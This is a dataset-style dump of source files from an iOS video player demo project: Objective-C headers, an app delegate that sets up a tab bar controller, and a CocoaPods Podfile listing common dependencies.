@property (weak, nonatomic) IBOutlet UILabel *timeDurationLabel;
@property (weak, nonatomic) IBOutlet UILabel *countLabel;
@property (weak, nonatomic) IBOutlet UIButton *playBtn;
@property(nonatomic,strong)VideoDataModel *videoModel;
@property (nonatomic, copy)StartPlayVideoBlcok startPlayVideoBlcok;
@end
``` | /content/code_sandbox/PlayerDemo/VideoCell.h | objective-c | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 177 |
```objective-c
//
// AppDelegate.h
// WMPlayer
//
// Created by on 16/2/1.
//
#import <UIKit/UIKit.h>
#import "RootTabBarController.h"
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@property (copy, nonatomic) NSArray *sidArray;
@property (copy, nonatomic) NSArray *videoArray;
@property (strong, nonatomic) RootTabBarController *tabbar;
@end
``` | /content/code_sandbox/PlayerDemo/AppDelegate.h | objective-c | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 94 |
```unknown
#source 'path_to_url
#source 'path_to_url
source 'path_to_url
source 'path_to_url
platform :ios, '8.0'
#
use_frameworks!
# ignore all warnings from all pods()
inhibit_all_warnings!
target 'PlayerDemo' do
pod 'Masonry'
pod 'GPUImage'
pod 'AFNetworking', '~> 4.0.1'
pod 'FDFullscreenPopGesture'
pod 'MJRefresh'
pod 'SDWebImage'
pod 'TZImagePickerController', '~> 2.1.6'
end
#Xcode->Target->Build Settings->Enable BitCodeNO.
post_install do |installer|
installer.pods_project.targets.each do |target|
target.build_configurations.each do |config|
config.build_settings['ENABLE_BITCODE'] = 'NO'
end
end
end
``` | /content/code_sandbox/Podfile | unknown | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 192 |
```objective-c
//
// AppDelegate.m
// WMPlayer
//
// Created by on 16/2/1.
//
#import "AppDelegate.h"
@interface AppDelegate ()
@end
@implementation AppDelegate
//APPUIbugDevice orientation
-(UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(UIWindow *)window{
return UIInterfaceOrientationMaskAllButUpsideDown;
}
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
self.window = [[UIWindow alloc]initWithFrame:[UIScreen mainScreen].bounds];
self.window.rootViewController = self.tabbar = [[RootTabBarController alloc]init];
[self.window makeKeyAndVisible];
return YES;
}
@end
``` | /content/code_sandbox/PlayerDemo/AppDelegate.m | objective-c | 2016-02-02T02:51:55 | 2024-08-09T08:55:27 | WMPlayer | zhengwenming/WMPlayer | 3,272 | 147 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.